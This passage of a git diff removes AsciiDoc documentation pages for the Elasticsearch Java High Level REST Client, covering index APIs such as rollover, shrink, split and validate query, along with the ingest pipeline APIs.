-<1> Indicates whether all of the nodes have acknowledged the request
diff --git a/docs/java-rest/high-level/indices/refresh.asciidoc b/docs/java-rest/high-level/indices/refresh.asciidoc
deleted file mode 100644
index a8f812c3ed3..00000000000
--- a/docs/java-rest/high-level/indices/refresh.asciidoc
+++ /dev/null
@@ -1,55 +0,0 @@
---
-:api: refresh
-:request: RefreshRequest
-:response: RefreshResponse
---
-
-[id="{upid}-{api}"]
-=== Refresh API
-
-[id="{upid}-{api}-request"]
-==== Refresh Request
-
-A +{request}+ can be applied to one or more indices, or even on `_all` the indices:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Refresh one index
-<2> Refresh multiple indices
-<3> Refresh all the indices
-
-==== Optional arguments
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-indicesOptions]
---------------------------------------------------
-<1> Setting `IndicesOptions` controls how unavailable indices are resolved and
-how wildcard expressions are expanded
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Refresh Response
-
-The returned +{response}+ allows to retrieve information about the
-executed operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Total number of shards hit by the refresh request
-<2> Number of shards where the refresh has succeeded
-<3> Number of shards where the refresh has failed
-<4> A list of failures if the operation failed on one or more shards
-
-By default, if the indices were not found, an `ElasticsearchException` will be thrown:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-notfound]
---------------------------------------------------
-<1> Do something if the indices to be refreshed were not found
\ No newline at end of file
diff --git a/docs/java-rest/high-level/indices/reload_analyzers.asciidoc b/docs/java-rest/high-level/indices/reload_analyzers.asciidoc
deleted file mode 100644
index 29db206bf14..00000000000
--- a/docs/java-rest/high-level/indices/reload_analyzers.asciidoc
+++ /dev/null
@@ -1,50 +0,0 @@
---
-:api: reload-analyzers
-:request: ReloadAnalyzersRequest
-:response: ReloadAnalyzersResponse
---
-
-[id="{upid}-{api}"]
-=== Reload Search Analyzers API
-
-[id="{upid}-{api}-request"]
-==== Reload Search Analyzers Request
-
-An +{request}+ requires an `index` argument:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The index to reload
-
-==== Optional arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-indicesOptions]
---------------------------------------------------
-<1> Setting `IndicesOptions` controls how unavailable indices are resolved and
-how wildcard expressions are expanded
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Reload Search Analyzers Response
-
-The returned +{response}+ allows to retrieve information about the
-executed operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Shard statistics. Note that reloading does not happen on each shard of an
-index, but once on each node the index has shards on. The reported shard count
-can therefore differ from the number of index shards
-<2> Reloading details of all indices the request was executed on
-<3> Details can be retrieved by index name
-<4> The reloaded index name
-<5> The nodes the index was reloaded on
-<6> The analyzer names that were reloaded
diff --git a/docs/java-rest/high-level/indices/rollover.asciidoc b/docs/java-rest/high-level/indices/rollover.asciidoc
deleted file mode 100644
index 6b7a82a11ae..00000000000
--- a/docs/java-rest/high-level/indices/rollover.asciidoc
+++ /dev/null
@@ -1,97 +0,0 @@
---
-:api: rollover-index
-:request: RolloverRequest
-:response: RolloverResponse
---
-
-[id="{upid}-{api}"]
-=== Rollover Index API
-
-[id="{upid}-{api}-request"]
-==== Rollover Request
-
-The Rollover Index API requires a +{request}+ instance.
-A +{request}+ requires two string arguments at construction time, and
-one or more conditions that determine when the index has to be rolled over:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The alias (first argument) that points to the index to rollover, and
-the name of the new index in case the rollover operation is performed.
-The new index argument is optional, and can be set to null
-<2> Condition on the age of the index
-<3> Condition on the number of documents in the index
-<4> Condition on the size of the index
-
-==== Optional arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-dryRun]
---------------------------------------------------
-<1> Whether the rollover should be performed (default) or only simulated
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-timeout]
---------------------------------------------------
-<1> Timeout to wait for the all the nodes to acknowledge the index is opened
-as a `TimeValue`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-masterTimeout]
---------------------------------------------------
-<1> Timeout to connect to the master node as a `TimeValue`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-waitForActiveShards]
---------------------------------------------------
-<1> Sets the number of active shard copies to wait for before the rollover
-index API returns a response
-<2> Resets the number of active shard copies to wait for to the default value
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-settings]
---------------------------------------------------
-<1> Add the settings to apply to the new index, which include the number of
-shards to create for it
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-mapping]
---------------------------------------------------
-<1> Add the mappings to associate the new index with. See <<java-rest-high-create-index-request-mappings>>
-for examples on the different ways to provide mappings
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-alias]
---------------------------------------------------
-<1> Add the aliases to associate the new index with
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Rollover Response
-
-The returned +{response}+ allows to retrieve information about the
-executed operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Indicates whether all of the nodes have acknowledged the request
-<2> Indicates whether the requisite number of shard copies were started for
-each shard in the index before timing out
-<3> The name of the old index, eventually rolled over
-<4> The name of the new index
-<5> Whether the index has been rolled over
-<6> Whether the operation was performed or it was a dry run
-<7> The different conditions and whether they were matched or not
diff --git a/docs/java-rest/high-level/indices/shrink_index.asciidoc b/docs/java-rest/high-level/indices/shrink_index.asciidoc
deleted file mode 100644
index 2ec480cadd2..00000000000
--- a/docs/java-rest/high-level/indices/shrink_index.asciidoc
+++ /dev/null
@@ -1,79 +0,0 @@
---
-:api: shrink-index
-:request: ResizeRequest
-:response: ResizeResponse
---
-
-[id="{upid}-{api}"]
-=== Shrink Index API
-
-[id="{upid}-{api}-request"]
-==== Resize Request
-
-The Shrink API requires a +{request}+ instance.
-A +{request}+ requires two string arguments:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The target index (first argument) to shrink the source index (second argument) into
-
-==== Optional arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-timeout]
---------------------------------------------------
-<1> Timeout to wait for the all the nodes to acknowledge the index is opened
-as a `TimeValue`
-<2> Timeout to wait for the all the nodes to acknowledge the index is opened
-as a `String`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-masterTimeout]
---------------------------------------------------
-<1> Timeout to connect to the master node as a `TimeValue`
-<2> Timeout to connect to the master node as a `String`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-waitForActiveShards]
---------------------------------------------------
-<1> The number of active shard copies to wait for before the shrink index API
-returns a response, as an `int`
-<2> The number of active shard copies to wait for before the shrink index API
-returns a response, as an `ActiveShardCount`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-settings]
---------------------------------------------------
-<1> The number of shards on the target of the shrink index request
-<2> Remove the allocation requirement copied from the source index
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-aliases]
---------------------------------------------------
-<1> The aliases to associate the target index with
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Shrink Index Response
-
-The returned +{response}+ allows to retrieve information about the
-executed operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Indicates whether all of the nodes have acknowledged the request
-<2> Indicates whether the requisite number of shard copies were started for
-each shard in the index before timing out
-
-
diff --git a/docs/java-rest/high-level/indices/simulate_index_template.asciidoc b/docs/java-rest/high-level/indices/simulate_index_template.asciidoc
deleted file mode 100644
index 4dc4429ea8a..00000000000
--- a/docs/java-rest/high-level/indices/simulate_index_template.asciidoc
+++ /dev/null
@@ -1,39 +0,0 @@
---
-:api: simulate-index-template
-:request: SimulateIndexTemplateRequest
-:response: SimulateIndexTemplateResponse
---
-
-[id="{upid}-{api}"]
-=== Simulate Index Template API
-
-[id="{upid}-{api}-request"]
-==== Simulate Index Template Request
-
-A +{request}+ specifies the `indexName` to simulate matching against the
-templates in the system.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The name of the index
-<2> Optionally, defines a new template
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Simulate Index Template Response
-
-The returned +{response}+ includes a resolved `Template` object containing
-the resolved settings, mappings and aliases of the index template that matched
-and would be applied to the index with the provided name (if any). It will
-also return a `Map` of index templates (both legacy and composable) names and their
-corresponding index patterns:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Resolved template configuration that would be applied when creating the index with the provided name
-<2> Overlapping index templates and their corresponding index patterns
diff --git a/docs/java-rest/high-level/indices/split_index.asciidoc b/docs/java-rest/high-level/indices/split_index.asciidoc
deleted file mode 100644
index c142b2ed9e1..00000000000
--- a/docs/java-rest/high-level/indices/split_index.asciidoc
+++ /dev/null
@@ -1,80 +0,0 @@
---
-:api: split-index
-:request: ResizeRequest
-:response: ResizeResponse
---
-
-[id="{upid}-{api}"]
-=== Split Index API
-
-[id="{upid}-{api}-request"]
-==== Resize Request
-
-The Split API requires a +{request}+ instance.
-A +{request}+ requires two string arguments:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The target index (first argument) to split the source index (second argument) into
-<2> The resize type needs to be set to `SPLIT`
-
-==== Optional arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-timeout]
---------------------------------------------------
-<1> Timeout to wait for the all the nodes to acknowledge the index is opened
-as a `TimeValue`
-<2> Timeout to wait for the all the nodes to acknowledge the index is opened
-as a `String`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-masterTimeout]
---------------------------------------------------
-<1> Timeout to connect to the master node as a `TimeValue`
-<2> Timeout to connect to the master node as a `String`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-waitForActiveShards]
---------------------------------------------------
-<1> The number of active shard copies to wait for before the split index API
-returns a response, as an `int`
-<2> The number of active shard copies to wait for before the split index API
-returns a response, as an `ActiveShardCount`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-settings]
---------------------------------------------------
-<1> The settings to apply to the target index, which include the number of
-shards to create for it
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-aliases]
---------------------------------------------------
-<1> The aliases to associate the target index with
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Split Index Response
-
-The returned +{response}+ allows to retrieve information about the
-executed operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Indicates whether all of the nodes have acknowledged the request
-<2> Indicates whether the requisite number of shard copies were started for
-each shard in the index before timing out
-
-
diff --git a/docs/java-rest/high-level/indices/templates_exist.asciidoc b/docs/java-rest/high-level/indices/templates_exist.asciidoc
deleted file mode 100644
index c89627c43c1..00000000000
--- a/docs/java-rest/high-level/indices/templates_exist.asciidoc
+++ /dev/null
@@ -1,41 +0,0 @@
---
-:api: templates-exist
-:request: IndexTemplatesExistRequest
-:response: Boolean
---
-
-[id="{upid}-{api}"]
-=== Templates Exist API
-
-[id="{upid}-{api}-request"]
-==== Templates Exist Request
-
-The Templates Exist API uses +{request}+ as its request object. One or more
-index template names can be provided at construction.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> A single index template name
-<2> Multiple index template names
-<3> An index template name using wildcard
-
-==== Optional arguments
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-optionals]
---------------------------------------------------
-<1> If `true`, reads templates from the node's local cluster state. Otherwise
-reads from the cluster state of the elected master node
-<2> Timeout to connect to the master node as a `TimeValue`
-<3> Timeout to connect to the master node as a `String`
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The response is a +{response}+ value, `true` if any of the request's template
-names match existing templates and `false` otherwise
\ No newline at end of file
diff --git a/docs/java-rest/high-level/indices/unfreeze_index.asciidoc b/docs/java-rest/high-level/indices/unfreeze_index.asciidoc
deleted file mode 100644
index 27e98581f0c..00000000000
--- a/docs/java-rest/high-level/indices/unfreeze_index.asciidoc
+++ /dev/null
@@ -1,64 +0,0 @@
---
-:api: unfreeze-index
-:request: UnfreezeIndexRequest
-:response: UnfreezeIndexResponse
---
-[id="{upid}-{api}"]
-=== Unfreeze Index API
-
-[id="{upid}-{api}-request"]
-==== Unfreeze Index Request
-
-An +{request}+ requires an `index` argument:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The index to unfreeze
-
-==== Optional arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-timeout]
---------------------------------------------------
-<1> Timeout to wait for the all the nodes to acknowledge the index is frozen
-as a `TimeValue`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-masterTimeout]
---------------------------------------------------
-<1> Timeout to connect to the master node as a `TimeValue`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-waitForActiveShards]
---------------------------------------------------
-<1> The number of active shard copies to wait for before  the unfreeze index API
-returns a response, as an `ActiveShardCount`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-indicesOptions]
---------------------------------------------------
-<1> Setting `IndicesOptions` controls how unavailable indices are resolved and
-how wildcard expressions are expanded
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Unfreeze Index Response
-
-The returned +{response}+ allows to retrieve information about the
-executed operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Indicates whether all of the nodes have acknowledged the request
-<2> Indicates whether the requisite number of shard copies were started for
-each shard in the index before timing out
diff --git a/docs/java-rest/high-level/indices/update_aliases.asciidoc b/docs/java-rest/high-level/indices/update_aliases.asciidoc
deleted file mode 100644
index 964f66d4bcd..00000000000
--- a/docs/java-rest/high-level/indices/update_aliases.asciidoc
+++ /dev/null
@@ -1,68 +0,0 @@
---
-:api: update-aliases
-:request: IndicesAliasesRequest
-:response: IndicesAliasesResponse
---
-
-[id="{upid}-{api}"]
-=== Index Aliases API
-
-[id="{upid}-{api}-request"]
-==== Indices Aliases Request
-
-The Index Aliases API allows aliasing an index with a name, with all APIs
-automatically converting the alias name to the actual index name.
-
-An +{request}+ must have at least one `AliasActions`:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Creates an `IndicesAliasesRequest`
-<2> Creates an `AliasActions` that aliases index `test1` with `alias1`
-<3> Adds the alias action to the request
-
-The following action types are supported: `add` - alias an index, `remove` - 
-removes the alias associated with the index, and `remove_index` - deletes the
-index. 
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request2]
---------------------------------------------------
-<1> Creates an alias `alias1` with an optional filter on field `year`
-<2> Creates an alias `alias2` associated with two indices and with an optional routing
-<3> Removes the associated alias `alias3`
-<4> `remove_index` is just like <<java-rest-high-delete-index>>
-
-==== Optional arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-timeout]
---------------------------------------------------
-<1> Timeout to wait for the all the nodes to acknowledge the operation as a `TimeValue`
-<2> Timeout to wait for the all the nodes to acknowledge the operation as a `String`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-masterTimeout]
---------------------------------------------------
-<1> Timeout to connect to the master node as a `TimeValue`
-<2> Timeout to connect to the master node as a `String`
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Indices Aliases Response
-
-The returned +{response}+ allows to retrieve information about the
-executed operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Indicates whether all of the nodes have acknowledged the request
\ No newline at end of file
diff --git a/docs/java-rest/high-level/indices/validate_query.asciidoc b/docs/java-rest/high-level/indices/validate_query.asciidoc
deleted file mode 100644
index 920e5cf4354..00000000000
--- a/docs/java-rest/high-level/indices/validate_query.asciidoc
+++ /dev/null
@@ -1,83 +0,0 @@
---
-:api: indices-validate-query
-:request: ValidateQueryRequest
-:response: ValidateQueryResponse
---
-
-[id="{upid}-{api}"]
-=== Validate Query API
-
-[id="{upid}-{api}-request"]
-==== Validate Query Request
-
-A +{request}+ requires one or more `indices` on which the query is validated. If no index
-is provided the request is executed on all indices.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> The index on which to run the request.
-
-In addition it also needs the query that needs to be validated. The query can be built using the `QueryBuilders` utility class.
-The following code snippet builds a sample boolean query.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-query]
---------------------------------------------------
-<1> Build the desired query.
-<2> Set it to the request.
-
-==== Optional arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-explain]
---------------------------------------------------
-<1> The explain parameter can be set to true to get more detailed information about why a query failed
-
-By default, the request is executed on a single shard only, which is randomly selected. The detailed explanation of
-the query may depend on which shard is being hit, and therefore may vary from one request to another. So, in case of
-query rewrite the `allShards` parameter should be used to get response from all available shards.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-allShards]
---------------------------------------------------
-<1> Set the allShards parameter.
-
-When the query is valid, the explanation defaults to the string representation of that query. With rewrite set to true,
-the explanation is more detailed showing the actual Lucene query that will be executed
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-rewrite]
---------------------------------------------------
-<1> Set the rewrite parameter.
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Validate Query Response
-
-The returned +{response}+ allows to retrieve information about the executed
- operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Check if the query is valid or not.
-<2> Get total number of shards.
-<3> Get number of shards that were successful.
-<4> Get number of shards that failed.
-<5> Get the shard failures as `DefaultShardOperationFailedException`.
-<6> Get the index of a failed shard.
-<7> Get the shard id of a failed shard.
-<8> Get the reason for shard failure.
-<9> Get the detailed explanation for the shards (if explain was set to `true`).
-<10> Get the index to which a particular explanation belongs.
-<11> Get the shard id to which a particular explanation belongs.
-<12> Get the actual explanation string.
\ No newline at end of file
diff --git a/docs/java-rest/high-level/ingest/delete_pipeline.asciidoc b/docs/java-rest/high-level/ingest/delete_pipeline.asciidoc
deleted file mode 100644
index 3801f8a3b52..00000000000
--- a/docs/java-rest/high-level/ingest/delete_pipeline.asciidoc
+++ /dev/null
@@ -1,80 +0,0 @@
-[[java-rest-high-ingest-delete-pipeline]]
-=== Delete Pipeline API
-
-[[java-rest-high-ingest-delete-pipeline-request]]
-==== Delete Pipeline Request
-
-A `DeletePipelineRequest` requires a pipeline `id` to delete.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/IngestClientDocumentationIT.java[delete-pipeline-request]
---------------------------------------------------
-<1> The pipeline id to delete
-
-==== Optional arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/IngestClientDocumentationIT.java[delete-pipeline-request-timeout]
---------------------------------------------------
-<1> Timeout to wait for the all the nodes to acknowledge the pipeline deletion as a `TimeValue`
-<2> Timeout to wait for the all the nodes to acknowledge the pipeline deletion as a `String`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/IngestClientDocumentationIT.java[delete-pipeline-request-masterTimeout]
---------------------------------------------------
-<1> Timeout to connect to the master node as a `TimeValue`
-<2> Timeout to connect to the master node as a `String`
-
-[[java-rest-high-ingest-delete-pipeline-sync]]
-==== Synchronous Execution
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/IngestClientDocumentationIT.java[delete-pipeline-execute]
---------------------------------------------------
-<1> Execute the request and get back the response in a `WritePipelineResponse` object.
-
-[[java-rest-high-ingest-delete-pipeline-async]]
-==== Asynchronous Execution
-
-The asynchronous execution of a delete pipeline request requires both the `DeletePipelineRequest`
-instance and an `ActionListener` instance to be passed to the asynchronous
-method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/IngestClientDocumentationIT.java[delete-pipeline-execute-async]
---------------------------------------------------
-<1> The `DeletePipelineRequest` to execute and the `ActionListener` to use when
-the execution completes
-
-The asynchronous method does not block and returns immediately. Once it is
-completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for `WritePipelineResponse` looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/IngestClientDocumentationIT.java[delete-pipeline-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed. The response is
-provided as an argument
-<2> Called in case of failure. The raised exception is provided as an argument
-
-[[java-rest-high-ingest-delete-pipeline-response]]
-==== Delete Pipeline Response
-
-The returned `WritePipelineResponse` allows to retrieve information about the executed
- operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/IngestClientDocumentationIT.java[delete-pipeline-response]
---------------------------------------------------
-<1> Indicates whether all of the nodes have acknowledged the request
diff --git a/docs/java-rest/high-level/ingest/get_pipeline.asciidoc b/docs/java-rest/high-level/ingest/get_pipeline.asciidoc
deleted file mode 100644
index 54ba545d709..00000000000
--- a/docs/java-rest/high-level/ingest/get_pipeline.asciidoc
+++ /dev/null
@@ -1,75 +0,0 @@
-[[java-rest-high-ingest-get-pipeline]]
-=== Get Pipeline API
-
-[[java-rest-high-ingest-get-pipeline-request]]
-==== Get Pipeline Request
-
-A `GetPipelineRequest` requires one or more `pipelineIds` to fetch.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/IngestClientDocumentationIT.java[get-pipeline-request]
---------------------------------------------------
-<1> The pipeline id to fetch
-
-==== Optional arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/IngestClientDocumentationIT.java[get-pipeline-request-masterTimeout]
---------------------------------------------------
-<1> Timeout to connect to the master node as a `TimeValue`
-<2> Timeout to connect to the master node as a `String`
-
-[[java-rest-high-ingest-get-pipeline-sync]]
-==== Synchronous Execution
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/IngestClientDocumentationIT.java[get-pipeline-execute]
---------------------------------------------------
-<1> Execute the request and get back the response in a GetPipelineResponse object.
-
-[[java-rest-high-ingest-get-pipeline-async]]
-==== Asynchronous Execution
-
-The asynchronous execution of a get pipeline request requires both the `GetPipelineRequest`
-instance and an `ActionListener` instance to be passed to the asynchronous
-method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/IngestClientDocumentationIT.java[get-pipeline-execute-async]
---------------------------------------------------
-<1> The `GetPipelineRequest` to execute and the `ActionListener` to use when
-the execution completes
-
-The asynchronous method does not block and returns immediately. Once it is
-completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for `GetPipelineResponse` looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/IngestClientDocumentationIT.java[get-pipeline-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed. The response is
-provided as an argument
-<2> Called in case of failure. The raised exception is provided as an argument
-
-[[java-rest-high-ingest-get-pipeline-response]]
-==== Get Pipeline Response
-
-The returned `GetPipelineResponse` allows to retrieve information about the executed
- operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/IngestClientDocumentationIT.java[get-pipeline-response]
---------------------------------------------------
-<1> Check if a matching pipeline id was found or not.
-<2> Get the list of pipelines found as a list of `PipelineConfig` objects.
-<3> Get the individual configuration of each pipeline as a `Map<String, Object>`.
diff --git a/docs/java-rest/high-level/ingest/put_pipeline.asciidoc b/docs/java-rest/high-level/ingest/put_pipeline.asciidoc
deleted file mode 100644
index 12a4eb15bce..00000000000
--- a/docs/java-rest/high-level/ingest/put_pipeline.asciidoc
+++ /dev/null
@@ -1,83 +0,0 @@
-[[java-rest-high-ingest-put-pipeline]]
-=== Put Pipeline API
-
-[[java-rest-high-ingest-put-pipeline-request]]
-==== Put Pipeline Request
-
-A `PutPipelineRequest` requires an `id` argument, a source and a `XContentType`. The source consists
-of a description and a list of `Processor` objects.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/IngestClientDocumentationIT.java[put-pipeline-request]
---------------------------------------------------
-<1> The pipeline id
-<2> The source for the pipeline as a `ByteArray`.
-<3> The XContentType for the pipeline source supplied above.
-
-==== Optional arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/IngestClientDocumentationIT.java[put-pipeline-request-timeout]
---------------------------------------------------
-<1> Timeout to wait for the all the nodes to acknowledge the pipeline creation as a `TimeValue`
-<2> Timeout to wait for the all the nodes to acknowledge the pipeline creation as a `String`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/IngestClientDocumentationIT.java[put-pipeline-request-masterTimeout]
---------------------------------------------------
-<1> Timeout to connect to the master node as a `TimeValue`
-<2> Timeout to connect to the master node as a `String`
-
-[[java-rest-high-ingest-put-pipeline-sync]]
-==== Synchronous Execution
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/IngestClientDocumentationIT.java[put-pipeline-execute]
---------------------------------------------------
-<1> Execute the request and get back the response in a WritePipelineResponse object.
-
-[[java-rest-high-ingest-put-pipeline-async]]
-==== Asynchronous Execution
-
-The asynchronous execution of a put pipeline request requires both the `PutPipelineRequest`
-instance and an `ActionListener` instance to be passed to the asynchronous
-method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/IngestClientDocumentationIT.java[put-pipeline-execute-async]
---------------------------------------------------
-<1> The `PutPipelineRequest` to execute and the `ActionListener` to use when
-the execution completes
-
-The asynchronous method does not block and returns immediately. Once it is
-completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed.
-
-A typical listener for `WritePipelineResponse` looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests}/IngestClientDocumentationIT.java[put-pipeline-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed. The response is
-provided as an argument
-<2> Called in case of failure. The raised exception is provided as an argument
-
-[[java-rest-high-ingest-put-pipeline-response]]
-==== Put Pipeline Response
-
-The returned `WritePipelineResponse` allows to retrieve information about the executed
